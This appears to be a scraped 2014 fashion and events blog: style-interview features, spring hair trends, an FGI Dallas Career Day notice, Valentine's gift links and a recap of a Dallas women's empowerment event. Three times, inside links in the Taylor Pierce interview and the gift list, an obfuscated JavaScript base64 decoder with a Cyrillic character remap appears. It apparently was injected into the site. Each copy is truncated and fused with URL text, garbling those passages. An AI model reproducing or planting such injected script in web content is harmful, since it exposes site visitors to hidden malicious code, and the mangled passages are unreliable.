Spring 2014 Beauty Trends!

Love Her Style Sunday: Nerissa von Helpenstill

Love Her Sunday_Blog
Happy Sunday! Today, we have another great "Love Her Style Sunday" feature. Everyone, please welcome Nerissa Von Helpenstill.
1. How do you define fashion?  
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Fashion is taking in all of the various trends and inspirations and filtering them to find what works for you.  Trends come and go, fashion is always looking your best and being true to your own style and body type.
2. What is your style?
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My look changes daily; from high fashion to laid back looks I always begin with a statement piece to craft each outfit around.  One day my look is built around a pulled together Herve Leger pencil skirt and the next my slouchy Rag and Bone sweatpants are the focal point.  I mix it up but always stay true to key pieces that define my style.
3. Who is your favorite designer?
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I admire Alexander McQueen's runway genius, however my closet is currently stocked with fun things like Clover Canyon dresses and Elle Sasson skirts.
4. If there is one staple fashion  piece everyone must have..what is it?  
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A little white dress.  In our climate nothing freshens up a warm weather look like a crisp white dress.  Find one that suits your style whether it is sweet, edgy or classic and you will be the coolest girl in the room wherever you go.
5. Describe your favorite fashion piece. (wrap dress, etc.) 
Right now, I am having a jumpsuit moment.  There are so many jumpsuit options this spring from sporty and casual to full on glam.
6. What is a big fashion do this Spring?  
Longer hemlines are an absolute do!  Whether it's a pencil skirt that hits just below the knee or a calf length a-line dress, the lower hemlines are at once fresh and sophisticated.
7. We know age shouldn't define your style, but what is your advice for someone trying to find their inner fashionista?  
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Wear what makes you feel happy and confident.  If you aren't wearing your clothes with confidence, then they are wearing you.
8. If you could be anyone in the world, who would it be?  
I love Lucky Magazine's new editor, Eva Chen.  She looks like she is having such fun doing her job each day!  The truth is, Fashion IS fun!  I am so lucky to be doing what I love at Tootsies.  We have so much fun each day helping our customers find the perfect outfit to make them feel gorgeous and confident.

Spring 2014 Hair Trends!

1. Flowers in your hair with a get low pony!image005 2. Messy Braidsimage003 3. The Easy Sweepimage009 4. Straight and Sleekimage008 5.  Bobbed, Square and Bowl Cuts are Hot!  Think of a modern day Vidal Sassoon cut in 1960’s!image010

Love Her Style Sunday: Heather Anderson!

Love Her Sunday_Blog
Today, we have another great "Love Her Style Sunday" feature. Everyone, please welcome the lovely Heather Anderson from Style by Fluent!
Heather’s “passion for fashion” traces back to a very young age, when as a little girl she received her first pair of high-heeled shoes from a friend who had just returned from China. For Heather, it was love at first sight. Today, Heather credits her sense of style to her grandmother, with her utterly glamorous clothes, jewelry and chic attitude – she was vintage before vintage was cool.Heather graduated from the University of North Texas with a Bachelor of Business Administration.  She is the proud mother of 5 wonderful children.Her inspiration comes from truly wanting to help women look and feel amazing from the inside-out. Understanding that every women expresses herself in her own special way, Heather’s most valuable talent comes through in creating looks in a unique and chic way, customized for each and every client.Heather dedicates her company to her father, Chuck Birmingham, who always believed in her and taught her that with hard work and discipline she could accomplish anything.

1. What does style mean to you?
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Style is a very personal thing to me, it is my creative outlet and one of my favorite ways to express myself.
2. What is your fashion inspiration?
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My fashion inspiration comes from several sources, my favorite style icon, Kate Moss…love her effortless sense of style!  I also get inspiration from other style blogs, fashion magazines, instagram, and pinterest,
3. If someone is trying to freshen up their wardrobe, do you have any suggestions on how to start?
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Start by cleaning out your closet and seeing what key pieces you already have that you can build on.
4. What is the one classic piece everyone should have?
 A really good, good pair of jeans.  A pair that really fit you well and that you feel confident in.  I love jeans because they are so versatile, you can dress them up by pairing them with a blazer and a black pump or dress them down with a simple white tee and a chic pair of wedges.
5. Is there something everyone should not be afraid of? (color, shape, etc.) 
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I would say do not be afraid of color.  Even if it is just a little pop of color like a scarf or a handbag, a beautiful pop of color can really add some interest to your look.
6. If you can describe your style in three words what would it be?
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Chic, Effortless, and Edgy
7. Can you share with our fans how age doesn't defy fashion sense?!
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Style knows no age, period.  Style is about expressing yourself and putting looks together that make you feel confident and good about yourself!
8. What are you looking forward to this Spring season?
I am looking forward to PINK…this is the "IT" color for spring and I love it!!  I just bought a blush pink Iro Leather Jacket that I am super excited to wear!  I'm going to pair it  with distressed denim and ankle strap pumps.
9. Who is your favorite designer?
Isabel Marant - all of her pieces are amazingly chic and effortless, I especially love her shoe line!!
 10. If you could be anyone who would it be? 
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I don't know that I would want to be anyone else forever, but if it was just for one day, I would be my Grandmother.  I admired her so much because of her genuine kindness and the love she showed towards others, we always shared a special bond.   She was a very glamorous and sophisticated women, one that I aspire to be like everyday.

Be sure to follow Heather on Facebook, Twitter, Pinterest, and Instagram!

FGI Career Day!

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We are so excited for FGI’s Career Day, which is only 6 weeks away! The Fashion Group International of Dallas will hold the 46th Annual Dallas Career Day 2014 on Friday, April 11, 2014 at the World Trade Center in Dallas, Texas. Our mission is is to inspire fashion’s next generation! We want to help students discover their potential as well as find career options in which they can show their talents.

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Dallas Career Day is all about providing a charitable and educational event to those seeking a career in fashion and lifestyle industries. This is the longest running and biggest fashion career event in the United States! This program offers students insight into a world of opportunities, including internships, entry-level jobs, interaction with industry leaders, mentorship; and most importantly, competitions to win scholarships and cash awards. Over 1,200 students from 40 schools spanning 12 states will be at the event. The event even grants over $30,000 in scholarships to help fund the schooling of fashion merchandising and design students. The event includes a variety of seminars and exhibitions provided by some of the industry’s elite who will share their daily activities and experiences.

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After a day of incredible classroom discussions with experienced speakers from all facets of the fashion industry, the day finishes with an awe-inspiring fashion show. The fashion show will showcase the clothing designs that students entered into numerous categories to receive scholarship support! For all students in fashion merchandising and fashion design programs, career day is a great experience to meet those industry leaders that can guide them towards meeting their goals. RSC Show Productions, LLC’s goal is to motivate and help students find direction for their futures and a career path within the fashion industry.

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Registration for colleges and universities begins Monday, January 6th, 2014 and is open through Friday, March 21, 2014, 12 pm. All forms and all fees MUST be received by the deadline of March 21, 2014 www.regonline.com/fgicareerday2014 for consideration.

Love Her Style Sunday's!

Love Her Sunday_BlogWe are starting a new series on the blog today! We want to dedicate this segment for women who inspire us through their personality and impeccable fashion style! Today, our guest feature is Taylor Pierce with function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandtaylor.com/" target="_blank">nicholasandtaylor.com.2013-07-25 17.14.56We decided to conduct a little Q&A with Taylor so you can get to know why we love her dearly!What started your love for fashion?2013-08-29 03.21.46

It started when I was pretty young. Watching the red carpet coverage and falling in love with the dresses really provoked my interest in fashion.

How can you describe your style?Processed with VSCOcam with f2 preset

It depends on the day. But usually street-chic with a little 90's revival.

Who is your favorite designer?

I love me some Alexander Wang. I also currently love Paolo Sebastian, he makes gorgeous dresses

What is your advice for those who are trying to find their inner fashion sense?2014-02-14 12.38.33

Always focus on yourself when trying to find your style. The benefit of fashion is being able to be completely unique, and creating an image for yourself. So follow designers and brands that you find yourself drawn to, and feed off their creativity while incorporating your own swagger.

For our budget concious shoppers-How do you recommend they can be in style without breaking the bank?

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Consignment shopping is always a go to. You can also find some good deals in smaller boutiques, as well as online sales.

What must have piece for spring?

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 A white ensemble/accessory. I'm also loving baby blue.

What piece are you coveting for the new season?

Ughh, the Saint Laurent "Sac De Jour" in nude

What spring item do you own/love, what's the price tag, and where can you buy it?

My nude Manolo Blahnik "Tayler Leather d'Orsay Pump" in nude. It was not a bargain pair at $735 but it is a classic, staple shoe that will stand the test of time. I got them at Saks.

Do you believe anyone can be fashionable? How so?Processed with VSCOcam with f2 preset

Absolutely! It's all about staying true to yourself and your body, not being afraid to take a risk, having the perfect mix of trendy and staple pieces, and working it. When you own a look it makes the difference in being "ok" to being "IT."

What is the one staple fashion piece everyone should own?

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A nude pump. Or a killer denim...or the perfect white tee...that's more than one.

What is your favorite online shopping or boutique?

Brandy Melville is great (insane pricing). NastyGal is a fun site too (it's not what you think I promise)

Who is your fashion icon?

Audrey Hepburn mixed with Rihanna

Fun Question: If you could be anyone..who would it be?Processed with VSCOcam with t1 preset

Hmm..this is something I haven't really thought about haha but just so I won't take an eternity to answer, I'll say Nicole Richie. Mainly because I was just looking at her Instagram so she came to mind first, but also because she has a beautiful, sweet family, and gets to play in fashion.

 

Be sure to check out Nicholas and Taylor's website! function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandtaylor.com/">nicholasandtaylor.com Instagram/twitter: @nt_style

 

Valentine's Day Gift Ideas!

I cannot believe Valentine's Day is only one week away! I have some great gift ideas in case you are still searching for that perfect gift!Untitledvday2q1. Philosophy I Heart You gift set- http://amzn.to/1dtHX8M2. Sarah Chloe’s charms-http://bit.ly/1l1EiFh3. Alice + Olivia Cardigan-http://bit.ly/1fXTKAq4. These "to have" and "to hold" pillowcases-http://bit.ly/1fXUntI5. Personalized Where We Met Map- http://bit.ly/1aAiakj6. Lotsa Love Candle-http://bit.ly/1evsKu17. Moet & Chandon Gift Box-http://bit.ly/MvHU6nfunction m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand/featured-brands/moet-and-chandon/moet-and-chandon-rose-imperial-graffiti-gift-set-80000085034" target="_blank">8. T. LeClerc Transparent Lipstick (Remember, Pink is all the rage for Spring!)-http://bit.ly/1fLNFrnUntitledxofinal 

Pat Smith's "Second Chances for Overcomer's"

Last week, I was blessed and honored to be a part of Pat Smith’s “Second Chances for Overcomer's” at the Dallas Hyatt Regency. RSC Show Productions, LLC  was part of the production team and was one of the event coordinators! We hit the ground running starting at 4:30 AM that day and stayed BUSY until the end. I was so excited that the little sleep I had energized me as if I had a full 8 hours of rest!

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I arrived at the Hyatt Regency Hotel to meet with the incredible crew from PSAV. Allan Kahn and Brian Goodrow were my leads as technical director and Audio Operator #1 (A1). Then Janee Harrell Hill with mHe3 Productions met with our event coordinators: Hala Snyder with Events by Hala and Cassy Lawson of Lawson Event Rentals. The Pat Smith Team, consisting of Millicent Finney of Millicent Finney Events and Ronelle Ianace of Treasure You, was hard at work with so many logistic factors. Along with the incredible staff and volunteers from Treasure You, other significant key players were Host Committee members and sponsors such as Loud Media, Jan Richey, Galleria Dallas, Fun Factory, Treska, Albertsons, Faye C. Briggs, Hyatt Hotels, Hattie Hill Enterprises, and the DCVB. Gloria Campos from WFAA was a host committee member as well as our Mistress of Ceremonies. I want to give a special thanks to everyone who helped make this event possible.

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The day involved many tech rehearsals and placing last minute decor and lighting elements. We didn’t spare one moment, working diligently to finalize all details small and large.

Pat Smith and I have met in the past when I was on the host committee for Smith Enterprises Golf Tournament. Most importantly when I was event coordinator for Baylor’s Celebrating Women Luncheon in 2012 she generously agreed to give the invocation when our keynote speaker was Rob Lowe. This production was put on by Baylor staff along with my friends Angela Randall with Baylor and Brian Brothers from Planet Productions. Pat gave a phenomenal invocation and I was so moved by her energy and honesty.

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Now let’s talk about the actual event! There were so many inspirational stories shared during this event, and my favorite part about the event was being able to feel God's presence speaking through the gifted people he placed before us that day. Pat Smith was so genuine and sincere, she was our voice of honesty. Pat Smith is the most gracious spirit and her life mission is to help others. She created this event to help women find a renewed sense of power and purpose. In putting this event together, she brought together women all over Dallas and the country who have experienced and overcome adversity so that they could share their unique and moving experiences. The speakers included:

Cindi Broaddus – Dr. Phil's sister-in-law who was transformed by tragedy when an unknown assailant threw a gallon–sized jar full of sulphuric acid off an overpass and through the windshield of her car.Wendy Davis – Texas gubernatorial candidate who began working at the age of 14 to support her family, and as a teenage mother, became the first in her family to attend college, eventually graduating from Harvard Law School.Sybrina Fulton - Mother of slain teenager Trayvon Martin who has become an advocate for families of crime victims, raising awareness about racial and gender profiling and educating youth on conflict resolution techniques to reduce deadly confrontations.Sarah Jakes – Daughter of The Potter’s House Bishop T.D. Jakes who has shared her own deep personal setbacks, including teenage pregnancy and divorce, to help women transform their circumstances.Antoinette Tuff – Atlanta school bookkeeper whose heroism and compassion prevented a mass school shootingimage002

The amazing keynote speaker was Robin Roberts from Good Morning America. We all have watched Robin battle cancer on more than one occasion and she overcome it beautifully. I have to share how beautiful Robin Roberts is on the inside as well as the outside. She shared her struggles, moments of weakness, and how she fought to live. She shared how she got through it all and gave everyone in the room, including me, more strength. "It's not what you achieve, it's what you overcome."

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Did I mention that Robin Roberts also gave up going to the White House to be at this event?! Her mission truly is about helping others, matching that of Pat Smith. It’s a beautiful thing when you meet people so full of truth, honesty, and pure of heart.

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Image: Pat Smith's Instagram

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Finally, I have to share my utmost favorite moment from the event. Vaniessa Cousin battled cancer 3 times and wrote a beautiful gospel song about her experience. Pat Smith surprised her by announcing Kirk Franklin will record her song! Secrets are hard to keep, but her reaction was priceless and touching.  I was so moved by the joy and love in the room!

 For more information about this memorable event, please visit Pat Smith’s website: http://patsmithenterprises.com/news/robin-roberts-overcomers-event

Finally, Pat Smith specifically let me know, “How much she appreciated our team being there and our efforts to make the event successful.” I am so humbled to have been a part of such a beautiful event.